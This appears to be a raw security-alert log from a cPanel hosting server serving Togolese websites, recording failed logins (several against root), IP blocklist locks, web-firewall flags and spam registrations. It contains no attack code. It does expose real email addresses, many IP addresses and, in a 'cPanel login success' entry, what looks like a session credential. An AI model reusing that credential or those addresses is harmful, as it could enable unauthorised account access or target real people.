[2026-06-08 16:19:13 +0000] info [whostmgrd] 198.57.192.130 - root "GET /cpsess2429821565/json-api/listaccts HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-08 06:08:48 +0000] info [cpaneld] 5.230.133.223 - acvahvhw "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.215.168
country_id: 1733045
description:
2026-06-08 00:36:41 dovecot_login authenticator failed for H=([91.92.243.93]) [113.211.215.168]:23989: 535 Incorrect authentication data (set_id=accounts@togointerim.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 207.58.128.110
country_id: 6252001
description:
[2026-06-08 16:19:17 +0000] info [cpaneld] 207.58.128.110 - certlogi "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-08 19:34:02 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:26886: 535 Incorrect authentication data (set_id=domaincp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.246
country_id: 2363686
description:
2026-06-08 00:16:06 dovecot_plain authenticator failed for H=ns5mail.netmaster.tg (ns5.netmaster.tg) [154.70.82.246]:52934: 535 Incorrect authentication data (set_id=edy.fatigba@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.229
country_id: 2635167
description:
[2026-06-08 06:07:56 +0000] info [cpaneld] 5.230.153.229 - pnls "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.70.34
country_id: 1512440
description:
2026-06-08 10:42:45 H=([84.54.70.34]) [84.54.70.34]:27168 F=<John@4452.com> rejected RCPT <evendeur@soena.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.235.103.33
country_id: 102358
description:
2026-06-08 00:35:28 dovecot_login authenticator failed for H=([91.92.243.93]) [51.235.103.33]:3951: 535 Incorrect authentication data (set_id=contato@togointerim.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.62.168
country_id: 6252001
description:
[2026-06-08 06:13:15 +0000] info [cpaneld] 64.44.62.168 - wworovnu "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User wworovnu has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.66.217.97
country_id: 1861060
description:
Jun  8 05:14:19 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.66.217.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.68
country_id: 298795
description:
Jun  8 02:35:22 ns5 auth[228678]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.68 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun  8 20:44:44 ns5 login[5804]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.210
country_id: 2542007
description:
2026-06-08 20:44:32 dovecot_login authenticator failed for H=([154.144.255.210]) [154.144.255.210]:57152: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.164.195.169
country_id: 6252001
description:
[2026-06-08 20:46:08 +0000] info [whostmgrd] 95.164.195.169 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun  8 20:46:39 ns5 login[7439]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-08 20:47:13 +0000] info [cpaneld] 103.210.132.14 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.250.111.199
country_id: 6252001
description:
[2026-06-08 20:48:53 +0000] info [whostmgrd] 167.250.111.199 - NS4 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 1.92.207.170
country_id: 1814991
description:
1.92.207.170 - - [08/Jun/2026:20:49:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248229&pdata=https%253A%252F%252Flaunetogo.tg%252F2eme-edition-du-festival-des-loisirs-de-lafrique-francophone-la-snb-a-soutenu-levenement-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780951788 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/2eme-edition-du-festival-des-loisirs-de-lafrique-francophone-la-snb-a-soutenu-levenement-au-togo/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:1.92.207.170


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.187.118
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/hogbeza-2023-apotheose HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.37.151.156
country_id: 3469034
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/togo-demission-gouvernement-tomegah-dogbe/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.37.151.156
country_id: 3469034
domain: tdn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/togo-demission-gouvernement-tomegah-dogbe/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.0.136.221
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/le-togo-celebre-66-ans-de-souverainete-par-une-grande-tournee-musicale/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.0.136.221
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/le-togo-celebre-66-ans-de-souverainete-par-une-grande-tournee-musicale/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.143
country_id: 3017382
description:
[2026-06-08 20:52:59 +0000] info [cpaneld] 5.231.255.143 NEW jdzxeovw:PZBtS7AaVM0rm9QG address=5.231.255.143,app=cpaneld,creator=jdzxeovw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.78.138.46
country_id: 2363686
description:
41.78.138.46 - - [08/Jun/2026:20:55:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6971806&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-resultats-bac-1-mai-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780952098 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-resultats-bac-1-mai-2026/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.78.138.46


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.43.50.1
country_id: 3469034
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.43.50.1
country_id: 3469034
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.1.77
country_id: 2363686
description:
[2026-06-08 20:56:26 +0000] info [webmaild] 196.170.1.77 - info@matosshop.tg "POST /cpsess2049052474/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.58.124] != Current IP Address [196.170.1.77]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.223.127
country_id: 6252001
description:
47.77.223.127 - - [08/Jun/2026:21:00:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262940&pdata=https%253A%252F%252F154.70.82.249%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780952403 HTTP/2.0" 302 0 154.70.82.249 "https://154.70.82.249:52227/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.223.127


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Delight in Your Digital Art Collection vamvozmviigr.blogspot.in 8j||Email:idowujoseph06@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:21-01.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.88.238
country_id: 6252001
description:
47.251.88.238 - - [08/Jun/2026:21:02:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606503&pdata=https%253A%252F%252Fsoena.tg%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780952545 HTTP/2.0" 302 0 soena.tg "https://soena.tg:52227/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.88.238


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.33.234
country_id: 660013
domain: carlsberg.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/carlsberg.snb.tg/uploads/images/57.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.113.154
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/biashara-africa-2026-le-tchad-salue-lengagement-du-togo-pour-lintegration-economique-africaine/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.113.154
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/biashara-africa-2026-le-tchad-salue-lengagement-du-togo-pour-lintegration-economique-africaine/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-08 21:05:43 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:46778: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.196.249.82
country_id: 1880251
domain: carlsberg.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/carlsberg.snb.tg/uploads/images/380.jpg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.3.45.8
country_id: 3175395
description:
[2026-06-08 21:15:50 +0000] info [cpaneld] 45.3.45.8 - sbnjjkvc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sbnjjkvc (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.90.48
country_id: 6252001
description:
47.251.90.48 - - [08/Jun/2026:21:15:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790293&pdata=https%253A%252F%252Fsoenatechno.soena.tg%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780953316 HTTP/2.0" 302 0 soenatechno.soena.tg "https://soenatechno.soena.tg:52227/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.90.48


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.159.15
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160405||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-08 21:20:15 +0000] info [cpaneld] 103.210.132.14 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:21-25.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Tap Into Your Members-Only Funds bonotdamvam.blogspot.ch Mh||Email:tdcaldwell2003@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-08 21:29:37 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:51328: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.230.45.113
country_id: 1880251
description:
[2026-06-08 21:29:38 +0000] info [whostmgrd] 157.230.45.113 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [08/Jun/2026:21:29:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842775&pdata=http%253A%252F%252Fdza52a.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780954153 HTTP/1.1" 302 0 dza52a.mediatopnews.tg "http://dza52a.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [08/Jun/2026:21:29:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170155&pdata=http%253A%252F%252Fdza52a.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780954158 HTTP/1.1" 302 0 dza52a.mediatopnews.tg "http://dza52a.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 157.230.45.113
country_id: 1880251
description:
[2026-06-08 21:29:40 +0000] info [whostmgrd] 157.230.45.113 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-08 21:30:17 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:59178: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.55
country_id: 1269750
description:
Jun  8 21:35:06 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.55 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 31.134.12.91
country_id: 241170
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:michalek10||Email:michale.michale@cizelu.smartlink.lat||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.12.91
country_id: 241170
domain: www.letabloid.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:21-35.31.134.12.91||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.16
country_id: 2363686
description:
[2026-06-08 21:36:59 +0000] info [webmaild] 102.212.94.16 - abrebistondue@abttogo.com "GET /cpsess4459623265/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.22] != Current IP Address [102.212.94.16]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.22
country_id: 2363686
description:
[2026-06-08 21:37:17 +0000] info [webmaild] 102.212.94.22 - abrebistondue@abttogo.com "GET /cpsess4459623265/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.27] != Current IP Address [102.212.94.22]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.72.40.102
country_id: 99237
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/mrtg/host-209-198-244-194.interpacket.net.html HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.72.40.102
country_id: 99237
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/mrtg/host-209-198-244-194.interpacket.net.html HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.25
country_id: 2363686
description:
[2026-06-08 21:37:28 +0000] info [webmaild] 102.212.94.25 - abrebistondue@abttogo.com "GET /cpsess4459623265/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.21] != Current IP Address [102.212.94.25]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.7
country_id: 2363686
description:
[2026-06-08 21:37:46 +0000] info [webmaild] 102.212.94.7 - abrebistondue@abttogo.com "GET /cpsess3507021267/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.16] != Current IP Address [102.212.94.7]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.21
country_id: 2363686
description:
[2026-06-08 21:37:58 +0000] info [webmaild] 102.212.94.21 - abrebistondue@abttogo.com "GET /cpsess3507021267/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.15] != Current IP Address [102.212.94.21]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.6
country_id: 2363686
description:
[2026-06-08 21:37:55 +0000] info [webmaild] 102.212.94.6 - abrebistondue@abttogo.com "GET /cpsess3507021267/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.5] != Current IP Address [102.212.94.6]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.20
country_id: 2363686
description:
[2026-06-08 21:38:17 +0000] info [webmaild] 102.212.94.20 - abrebistondue@abttogo.com "GET /cpsess3507021267/3rdparty/roundcube/skins/elastic/styles/styles.min.css?s=1774777728 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.13] != Current IP Address [102.212.94.20]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.20
country_id: 2363686
description:
[2026-06-08 21:40:09 +0000] info [webmaild] 102.212.94.20 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.17] != Current IP Address [102.212.94.20]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.21
country_id: 2363686
description:
[2026-06-08 21:39:41 +0000] info [webmaild] 102.212.94.21 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.7] != Current IP Address [102.212.94.21]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.11
country_id: 2363686
description:
[2026-06-08 21:39:50 +0000] info [webmaild] 102.212.94.11 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.5] != Current IP Address [102.212.94.11]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.16
country_id: 2363686
description:
[2026-06-08 21:39:56 +0000] info [webmaild] 102.212.94.16 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.3] != Current IP Address [102.212.94.16]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.19
country_id: 2363686
description:
[2026-06-08 21:39:46 +0000] info [webmaild] 102.212.94.19 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.7] != Current IP Address [102.212.94.19]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.26
country_id: 2363686
description:
[2026-06-08 21:40:04 +0000] info [webmaild] 102.212.94.26 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.9] != Current IP Address [102.212.94.26]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.8
country_id: 2363686
description:
[2026-06-08 21:40:14 +0000] info [webmaild] 102.212.94.8 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.24] != Current IP Address [102.212.94.8]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.13
country_id: 2363686
description:
[2026-06-08 21:40:41 +0000] info [webmaild] 102.212.94.13 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.23] != Current IP Address [102.212.94.13]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.94.26
country_id: 2363686
description:
[2026-06-08 21:40:59 +0000] info [webmaild] 102.212.94.26 - abrebistondue@abttogo.com "GET /cpsess7509883575/?=undefined&login=1&post_login=45306872473732 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.94.9] != Current IP Address [102.212.94.26]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.228.131.114
country_id: 2029969
description:
Jun  8 21:42:56 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.228.131.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.228.131.114
country_id: 2029969
description:
Jun  8 21:45:05 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.228.131.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun  8 21:45:41 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [08/Jun/2026:21:45:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7443612&pdata=http%253A%252F%252Fv2lhxq.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780955139 HTTP/1.1" 302 0 v2lhxq.mediatopnews.tg "http://v2lhxq.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.203.231.220
country_id: 2464461
description:
Jun  8 21:45:59 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.203.231.220 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.223.41.90
country_id: 1835841
description:
Jun  8 21:46:16 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.223.41.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.210.133.134
country_id: 3469034
description:
Jun  8 21:46:39 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.210.133.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun  8 21:46:47 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-06-08 21:46:12 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:52800: 535 Incorrect authentication data (set_id=info@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.147.94
country_id: 290557
description:
Jun  8 21:46:23 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.147.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.160.166.237
country_id: 1820814
description:
